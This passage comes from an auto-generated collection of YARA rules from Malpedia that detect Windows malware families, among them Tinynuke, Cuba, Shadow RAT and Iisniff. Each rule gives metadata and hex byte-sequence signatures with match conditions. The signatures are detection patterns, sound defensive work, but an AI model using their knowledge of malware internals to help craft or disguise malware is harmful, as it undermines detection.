		$sequence_3 = { 33c0 8d8decfdffff 51 8d95c8fdffff 52 8985ccfdffff }
		$sequence_4 = { 50 ff15???????? 85c0 7516 56 8945f8 }
		$sequence_5 = { 68???????? 57 ff15???????? 8bd8 3bdf 742e 53 }
		$sequence_6 = { 8907 897704 8b8dbcf7ffff 890f 50 }
		$sequence_7 = { 837e1400 750f 6a7f ff15???????? 33c0 5e 8be5 }
		$sequence_8 = { 68???????? 33f6 68???????? 56 8975fc c745f801000000 ff15???????? }
		$sequence_9 = { 6aff 51 8b4d0c 6804010000 51 e8???????? 83c410 }
	condition:
		7 of them and filesize < 253952
}

rule MALPEDIA_Win_Htbot_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "39a927d2-1945-5991-992e-cc87b6814598"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.htbot"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.htbot_auto.yar#L1-L126"
		license_url = "N/A"
		logic_hash = "d80214a974c7da7b11a6b3decefcabbf12f30dbe8a8667d77b9a26c8d44a14ba"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 6857000780 e8???????? 83c601 8d4e0a 3bcd 0f8db6000000 85f6 }
		$sequence_1 = { 83c002 6685c9 75f5 2bc2 d1f8 0f88ce020000 }
		$sequence_2 = { 8d7c241c 8d442420 c644246003 e8???????? 85c0 0f84e1000000 8d4900 }
		$sequence_3 = { c68424b410000004 e8???????? 8b442430 8b00 8b8c24b8100000 8d542448 }
		$sequence_4 = { 8b11 50 8b4204 ffd0 c64424340a 8b44241c }
		$sequence_5 = { 51 8b4ef0 8b11 8b4210 83c6f0 89642428 8bdc }
		$sequence_6 = { 8b4c2414 51 ff15???????? 8d54241c 52 }
		$sequence_7 = { 8b11 8b4204 57 ffd0 83c510 896c2414 }
		$sequence_8 = { 384802 7550 384803 744b 83c004 3808 7418 }
		$sequence_9 = { 2bc1 d1f8 83f8ff 755c 3959f4 }
	condition:
		7 of them and filesize < 196608
}

rule MALPEDIA_Win_Kazyloader_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "8e63e9d7-0aa3-54bc-8958-5bb44d9fbb2a"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kazyloader"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.kazyloader_auto.yar#L1-L124"
		license_url = "N/A"
		logic_hash = "34cc9a0cb8805c010ff93ad518256fe67686f6553b5dc947370b69715033db6f"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { d2 9c 07 06 8e }
		$sequence_1 = { 1309 1109 3a3fffffff 02 09 6f2700000a }
		$sequence_2 = { 6f1a00000a 281b00000a 26 00 de00 }
		$sequence_3 = { 8e 69 58 280100002b }
		$sequence_4 = { 00 08 16 06 06 8e 69 }
		$sequence_5 = { 00 1104 02 6f1f00000a 5a 1105 }
		$sequence_6 = { 6f1400000a 740200001b 0c 1200 06 8e 69 }
		$sequence_7 = { 58 91 1308 1108 20fd000000 59 }
		$sequence_8 = { 282100000a 00 02 08 19 02 6f2200000a }
		$sequence_9 = { 07 04 2804000006 0b 07 281200000a 6f1800000a }
	condition:
		7 of them and filesize < 50176
}

rule MALPEDIA_Win_Hawking_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "ec9f39f6-86ba-5455-97b7-92972ad75506"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hawking"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.hawking_auto.yar#L1-L121"
		license_url = "N/A"
		logic_hash = "38946ce524bb812dc9a51e3c54c74cdb8d87a613cbaf2402323bc2266d8ec447"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 2c02 16 2a 06 }
		$sequence_1 = { 06 6f2c00000a 26 06 6f2d00000a 6f2e00000a 750d000001 }
		$sequence_2 = { 08 16 08 8e 69 6f2100000a }
		$sequence_3 = { 2d04 26 14 2b05 }
		$sequence_4 = { 281c00000a 02 07 6f1900000a 72ba010070 6f1a00000a 2807000006 }
		$sequence_5 = { 0b 14 0c 732f00000a 0d 16 }
		$sequence_6 = { 6f0e00000a 1200 280f00000a 2dde de0e 1200 fe160200001b }
		$sequence_7 = { 2df6 06 6f06000006 de0c 6f3400000a 2801000006 }
		$sequence_8 = { 0c 07 6f1900000a 72ba010070 }
		$sequence_9 = { 03 282400000a 2801000006 732500000a 0a 06 }
	condition:
		7 of them and filesize < 50176
}

rule MALPEDIA_Win_Tinynuke_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "26956b4b-2451-5deb-9643-68612b9d6236"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tinynuke"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.tinynuke_auto.yar#L1-L293"
		license_url = "N/A"
		logic_hash = "19ead60aa2eb3196f69ad300611cd24757349dd6202d9e3aa3460ca7368338a0"
		score = 75
		quality = 73
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { c3 55 8bec 817d0c00040000 }
		$sequence_1 = { ff15???????? ff35???????? 8b7dfc 57 a3???????? ff15???????? ff35???????? }
		$sequence_2 = { 5e 85c0 753c 56 8d45f8 }
		$sequence_3 = { 8945f4 8d85d4feffff 50 ff15???????? }
		$sequence_4 = { 83c418 a3???????? 5f 5e 5b c9 c3 }
		$sequence_5 = { 8d8530f6ffff 50 6802020000 ff15???????? }
		$sequence_6 = { 53 56 57 33c0 33db 6a07 }
		$sequence_7 = { 6a03 53 53 6800000080 50 ff15???????? a3???????? }
		$sequence_8 = { ff75ec ff75fc e8???????? 83c40c 5f }
		$sequence_9 = { 50 ff15???????? ff35???????? 8d85a4feffff 50 ff15???????? }
		$sequence_10 = { a3???????? 68e2010000 68???????? 68???????? e8???????? }
		$sequence_11 = { 8b02 8a00 3c0a 7409 3c0d }
		$sequence_12 = { 6a2a 50 8945fc ff15???????? }
		$sequence_13 = { ff15???????? a3???????? ff35???????? ff75ec ff15???????? }
		$sequence_14 = { a3???????? ff35???????? ff75f8 ff15???????? }
		$sequence_15 = { c70604000000 e8???????? eb18 83f803 7519 }
		$sequence_16 = { 59 8d85d0fcffff 50 8d85d8feffff 50 ff15???????? ff35???????? }
		$sequence_17 = { 8d45dc 50 ff15???????? 8d85d0fcffff 50 e8???????? }
		$sequence_18 = { 8d85d4fdffff 50 ff15???????? ff35???????? 8d85d4fdffff 50 ff15???????? }
		$sequence_19 = { ff15???????? 8b35???????? 8d430c 50 }
		$sequence_20 = { e8???????? 8945fc 8b0f 83ec08 85c9 75d6 }
		$sequence_21 = { c70424???????? e8???????? 83ec08 85c0 75d6 }
		$sequence_22 = { 85c0 7422 8b0cb2 83ec08 03cf ba???????? }
		$sequence_23 = { 891c24 89442408 e8???????? 0fb76f06 }
		$sequence_24 = { c785e4fdffff00000000 c785e0fdffff01000000 f3ab ff15???????? 8d85e8fdffff 6804010000 }
		$sequence_25 = { e8???????? 83ec08 89c3 c7042400000000 e8???????? }
		$sequence_26 = { 5b c20800 891c24 e8???????? 83ec04 }
		$sequence_27 = { 89bdb8fdffff ff15???????? 83bdbcfdffff01 7477 8b85c4fdffff }
		$sequence_28 = { 83ec0c 31c0 83c43c 5b 5e }
		$sequence_29 = { 837c243401 7537 c744241400000000 c744241000000000 c744240c00000000 c7442408???????? c744240400000000 }
		$sequence_30 = { 85c0 75d6 31db 8d742600 c70424???????? }
	condition:
		7 of them and filesize < 1196032
}

rule MALPEDIA_Win_Doublefantasy_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "ba30a5f3-35d1-5f03-be08-9b3934519f6b"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.doublefantasy"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.doublefantasy_auto.yar#L1-L170"
		license_url = "N/A"
		logic_hash = "1a0409b74271064d42217a7a2221717756e298061c677390a0017c2a29a907a4"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { bfd3360000 57 6a40 8b35???????? ffd6 }
		$sequence_1 = { 8b442404 0fb608 c1e902 8a91908c2700 8b4c2408 8811 33d2 }
		$sequence_2 = { e8???????? 8bcb 2bc8 51 ff7514 }
		$sequence_3 = { 50 6a00 56 8907 e8???????? 83c40c }
		$sequence_4 = { 66ab be???????? 8dbd9ffaffff a5 }
		$sequence_5 = { ff15???????? eb72 56 6a00 ff75e0 e8???????? ff75e4 }
		$sequence_6 = { 83e20f c1e202 0bd6 8a92908c2700 eb02 b23d 837c241002 }
		$sequence_7 = { ff750c ff7508 e8???????? 83c414 8945e0 }
		$sequence_8 = { 8a80ad8c2700 eb02 32c0 84c0 }
		$sequence_9 = { 891485a4ab2700 40 3bc1 72f1 }
		$sequence_10 = { 8a92908c2700 885101 7e1c 0fb67002 33d2 8a5001 c1ee06 }
		$sequence_11 = { 8a80908c2700 eb02 b03d 884103 }
		$sequence_12 = { 33c0 85c9 7616 8da42400000000 8d50fd 891485a4ab2700 40 }
		$sequence_13 = { b9d2360000 51 52 48 }
		$sequence_14 = { c68094a3270000 ff35???????? ff35???????? e8???????? 83c414 e8???????? }
		$sequence_15 = { ff37 ff750c 8b460c 03c3 50 e8???????? }
	condition:
		7 of them and filesize < 172032
}

rule MALPEDIA_Win_Sarhust_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "1f82eb40-7df1-5fcd-972c-65036c547e83"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sarhust"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.sarhust_auto.yar#L1-L119"
		license_url = "N/A"
		logic_hash = "6be2d8277b702e649c294d54fc6ec35174e3abad1edfa4501c6a9845d06e8218"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e8???????? 8d8d4cffffff e8???????? 6a00 ff15???????? }
		$sequence_1 = { 8d8d4cffffff e8???????? 6a00 ff15???????? }
		$sequence_2 = { 6801000080 ff15???????? 85c0 7408 ff15???????? }
		$sequence_3 = { 8d8d4cffffff e8???????? 8d8d4cffffff e8???????? 6a00 ff15???????? }
		$sequence_4 = { eb08 8b4520 8b4d0c 8908 }
		$sequence_5 = { 8d8d4cffffff e8???????? 8d8d4cffffff e8???????? 8d8d4cffffff e8???????? 6a00 }
		$sequence_6 = { 8d8d4cffffff e8???????? 8d8d4cffffff e8???????? 8d8d4cffffff }
		$sequence_7 = { e8???????? 8d8d4cffffff e8???????? 8d8d4cffffff e8???????? 6a00 ff15???????? }
		$sequence_8 = { e8???????? 8d8d4cffffff e8???????? 8d8d4cffffff e8???????? 6a00 }
		$sequence_9 = { 8d8d4cffffff e8???????? 8d8d4cffffff e8???????? 8d8d4cffffff e8???????? }
	condition:
		7 of them and filesize < 114688
}

rule MALPEDIA_Win_Charon_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "01b8556c-ee40-53b7-952a-8e2b8282fe20"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.charon"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.charon_auto.yar#L1-L129"
		license_url = "N/A"
		logic_hash = "b28dd8515b960c3adbfdc7b51b8085f45af8b6d7308fa151efcf52d4fa2fa9ad"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8b4c2420 8d0c8d01000000 4863c9 88440c50 b803000000 2b442420 4898 }
		$sequence_1 = { 050b020000 8bc0 488b8c2460020000 8b0481 038424f8010000 8b8c24fc010000 8b942400020000 }
		$sequence_2 = { 480bc1 48c1f802 4825ffffff01 b908000000 486bc901 488b542408 }
		$sequence_3 = { 486bc000 488b8c2460020000 8b840140100000 c1e00a b904000000 486bc900 488b942460020000 }
		$sequence_4 = { 48c1e108 480bc1 b901000000 486bc90e 488b542410 0fb60c0a 48c1e110 }
		$sequence_5 = { c784249c00000000000000 8b0424 8b4c2408 03c8 }
		$sequence_6 = { 488b942460020000 8b8c0a40100000 c1e916 0bc1 898424d8010000 b804000000 486bc00f }
		$sequence_7 = { 050f020000 8bc0 488b8c2460020000 8b0481 03842438020000 8b8c243c020000 8b942440020000 }
		$sequence_8 = { 0bc1 89442448 b804000000 486bc004 488b8c2460020000 0fb6840100100000 88442443 }
		$sequence_9 = { 48c744243000000000 8b8424c0000000 89442428 488b842430010000 4889442420 448b8c24f0000000 }
	condition:
		7 of them and filesize < 254976
}

rule MALPEDIA_Win_Ksl0T_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "38d6ccea-2477-53a3-80c5-72d7cca1e17c"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ksl0t"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ksl0t_auto.yar#L1-L172"
		license_url = "N/A"
		logic_hash = "d56faacde84036ddaab537f194f3df4539ee4dbdadae9af8318bac8df1d8305a"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 44895c2440 897c2438 89542430 894c2428 89442420 488d15a8cb0000 }
		$sequence_1 = { 4885c9 7405 e8???????? 488b8ba0000000 488d057f5c0000 483bc8 7405 }
		$sequence_2 = { 48894c2408 4883ec18 c744240400000000 8b4c2404 8b442428 }
		$sequence_3 = { c68424e700000020 889c24e8000000 888424e9000000 c68424ea0000002d c68424eb00000002 888c24ec000000 c64424381a }
		$sequence_4 = { 83c008 898424f4080000 448b05???????? 49d1e0 }
		$sequence_5 = { c644243331 c644243439 c644243539 884c2436 }
		$sequence_6 = { c684248600000067 88942487000000 c684248800000031 c684248900000039 c684248a00000039 }
		$sequence_7 = { 488b442450 8138a0000000 7470 833d????????00 7528 }
		$sequence_8 = { 6800020000 57 8d95000d0000 52 }
		$sequence_9 = { 888c24fd000000 c68424b000000012 888424b1000000 889c24b2000000 c68424b300000019 c68424b400000034 }
		$sequence_10 = { 889c2451020000 c684245202000073 c68424530200006c c684245402000065 c68424550200006e c684245602000000 }
		$sequence_11 = { 488d0d67a70000 e8???????? 488d1556aa0000 4c8d050f3d0000 488d4c38de 41b903000000 482bd1 }
		$sequence_12 = { c68424eb00000018 c68424ec0000003a c68424ed00000031 c68424ee00000020 c68424ef00000039 c68424f000000030 }
		$sequence_13 = { c68424f80200006c c68424f902000073 c68424fa02000074 c68424fb02000072 }
		$sequence_14 = { 390424 7d46 48630c24 488b442428 440fbe0408 4863442420 33d2 }
		$sequence_15 = { 33c9 66898d60060000 6806020000 51 8d9562060000 52 e8???????? }
	condition:
		7 of them and filesize < 196608
}

rule MALPEDIA_Win_Breach_Rat_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "c23c3fa3-17cd-5c37-b04d-874bf808dbb3"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.breach_rat"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.breach_rat_auto.yar#L1-L132"
		license_url = "N/A"
		logic_hash = "f6957c0f2edc673a234b7e2f6939826a76594123ef28991fd2cfa30c71d906d4"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 2b4da4 f7e9 c1fa02 8bc2 c1e81f 03c2 744a }
		$sequence_1 = { 8b450c 2bf0 83c002 0345f0 56 50 eb08 }
		$sequence_2 = { 8d4db8 e8???????? 83c410 84c0 742c 8b4dd4 }
		$sequence_3 = { ff4dc4 895d08 0f8548fdffff 8b5d98 8b7d9c 85db }
		$sequence_4 = { c745bc00000000 c645ac00 56 8bd7 c645fc0b 8d8d6cffffff e8???????? }
		$sequence_5 = { 8bc2 c1e81f 03c2 83f807 7616 8d87a8000000 3bf0 }
		$sequence_6 = { 53 57 8b7d08 33db 895df0 85ff 7464 }
		$sequence_7 = { e8???????? 8bc8 e8???????? 8d8d24f1ffff c745fcffffffff e8???????? 68???????? }
		$sequence_8 = { e8???????? 50 8d8c2480000000 e8???????? 8b442428 85c0 7416 }
		$sequence_9 = { 68???????? 8d8d54f7ffff e8???????? 68???????? 8d8554f7ffff c745fcc8000000 50 }
	condition:
		7 of them and filesize < 645120
}

rule MALPEDIA_Win_Qhost_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "f6a3ef66-17d7-58a0-96de-8a0c0984b5c6"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.qhost"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.qhost_auto.yar#L1-L124"
		license_url = "N/A"
		logic_hash = "905b65375bd0a4c7552598ebcf914fdc02a2fd215e8f336ecf0dd12d8b466ba7"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { b8???????? eb0c 8b4dfc 51 ff15???????? }
		$sequence_1 = { 6a04 8d55f0 52 6a07 8b4508 50 }
		$sequence_2 = { 50 68???????? 68???????? 680f270000 68???????? }
		$sequence_3 = { 7430 6a00 6a02 8d55f8 52 6a23 ff55fc }
		$sequence_4 = { 894da0 8b55a0 3b55a4 0f8d56040000 8d459c }
		$sequence_5 = { 6880000000 6a00 8d8d74feffff 51 e8???????? 83c40c 8b9570feffff }
		$sequence_6 = { e8???????? 83c404 e9???????? 83bd68ffffff06 7536 83bd6cffffff00 752d }
		$sequence_7 = { 52 8b45fc 50 ff15???????? eb4a }
		$sequence_8 = { 8b8ddcfdffff 51 ff15???????? 83c404 8b95ecfdffff 52 e8???????? }
		$sequence_9 = { 50 6800040000 8d8d00fcffff 51 8b95c8fbffff 52 }
	condition:
		7 of them and filesize < 286720
}

rule MALPEDIA_Win_Cuba_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "86d7ccf5-17e2-58df-93e2-25197c1f8e94"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cuba"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.cuba_auto.yar#L1-L160"
		license_url = "N/A"
		logic_hash = "06e63a9dd7221f555e50b6728a34cba72d1d2d067337f699676a2804a6a34058"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 85c0 7810 3de4000000 7309 8b04c510704100 5d }
		$sequence_1 = { c3 8bff 55 8bec 8b4d08 33c0 3b0cc5905d4100 }
		$sequence_2 = { 0019 43 41 00444341 }
		$sequence_3 = { 8bd6 c745ac749f4100 8bce 0fb707 }
		$sequence_4 = { 000d???????? 384100 b538 41 }
		$sequence_5 = { 0026 45 41 003a }
		$sequence_6 = { 0026 43 41 00b043410062 }
		$sequence_7 = { 0012 45 41 0026 }
		$sequence_8 = { 83e801 0f8501010000 c745e004934100 8b4508 }
		$sequence_9 = { ff24953c354000 c7878c00000001000000 85c9 747e 3bc6 730a }
		$sequence_10 = { 660fc5c400 25f0070000 660f28a040974100 660f28b830934100 660f54f0 660f5cc6 660f59f4 }
		$sequence_11 = { ffd7 85c0 750c e8???????? 5f }
		$sequence_12 = { 000c43 41 0035???????? 43 }
		$sequence_13 = { 003a 45 41 004245 }
		$sequence_14 = { 7414 8d85c0f9ffff 50 56 ff15???????? 85c0 75e6 }
		$sequence_15 = { 000446 41 00d1 45 }
	condition:
		7 of them and filesize < 1094656
}

rule MALPEDIA_Win_Graphsteel_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "fd70cca8-a56d-5225-a00e-9e9a8f58f3be"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.graphsteel"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.graphsteel_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "e3e7b2c9268861fa25138183cb28ca132ae718be8ddf794ff818ae9183996560"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { c3 488d0584215d00 bb10000000 e8???????? 4889f8 b900200000 e8???????? }
		$sequence_1 = { 8b842490000000 85c0 0f84e8feffff 488d4c2470 e8???????? 4489e0 4881c4b0000000 }
		$sequence_2 = { 664189856c010000 498b8528010000 4885c0 7407 c7401807000000 4c89e9 4531e4 }
		$sequence_3 = { e8???????? 660f1f840000000000 4885c9 0f8425040000 48f7c160000000 7404 31d2 }
		$sequence_4 = { ff15???????? 807e6900 7472 8b4628 85c0 7e4e 31db }
		$sequence_5 = { e9???????? 488d7101 4839f7 732b 488d0533c23600 e8???????? 488d7301 }
		$sequence_6 = { 488d6c2430 48897c2420 48894c2450 48895c2448 4889442428 488d05cd4f4b00 e8???????? }
		$sequence_7 = { eb0c 488d3d1e448600 e8???????? 488b0d???????? 48898c24f0020000 488d0533115500 e8???????? }
		$sequence_8 = { 90 488b5c2468 488b4c2470 488d3d96682100 4889c6 4531c0 4531c9 }
		$sequence_9 = { bb1a000000 e8???????? 0f1f440000 e8???????? 488d0594745400 488d1d8deb6400 e8???????? }
	condition:
		7 of them and filesize < 19812352
}

rule MALPEDIA_Win_Shadow_Rat_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "cd866f0d-a058-5516-ad44-83c67b926cef"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.shadow_rat"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.shadow_rat_auto.yar#L1-L131"
		license_url = "N/A"
		logic_hash = "f9ac6b211213f8898a8d9a850cbd590282d120dd08d8f19a3ecf3df1330c81a4"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 488b8580000000 483bc6 0f82f1060000 482bc6 49c7c0ffffffff }
		$sequence_1 = { 5f c3 488b542468 488d0db6590300 e8???????? 4c8b18 }
		$sequence_2 = { e8???????? 448ba570010000 8b4c2438 488d15b7e5fcff 2b4c2448 41b826000000 894c2438 }
		$sequence_3 = { 488b8c2430010000 4833cc e8???????? 4881c448010000 415e 415c 5e }
		$sequence_4 = { 488d5570 4883bd880000000f 490f47d5 4533e4 4c89642420 4533c9 448b8580000000 }
		$sequence_5 = { 488bf1 48894c2428 488bea 7603 488b2a 4c8b6210 48899c2480010000 }
		$sequence_6 = { 488b5928 4885db 750d 488d5930 eb07 488d1d785b0400 33d2 }
		$sequence_7 = { 664489bd1e010000 ebc2 418bff 488d15009d0100 488bcb e8???????? 4885c0 }
		$sequence_8 = { e8???????? 90 0f57c0 0f11442458 660f6f0d???????? f30f7f4c2468 c644245800 }
		$sequence_9 = { 488bcf e8???????? 90 488d4c2450 e8???????? 488bc7 488b4d50 }
	condition:
		7 of them and filesize < 727040
}

rule MALPEDIA_Win_Iisniff_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "5f9ab050-d8e9-5f55-b8de-0b8b687ab914"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.iisniff"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.iisniff_auto.yar#L1-L173"
		license_url = "N/A"
		logic_hash = "a06a69af46b33b23bbf69f750fc8ce55147252095bace2f8e829199a964e0a2d"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
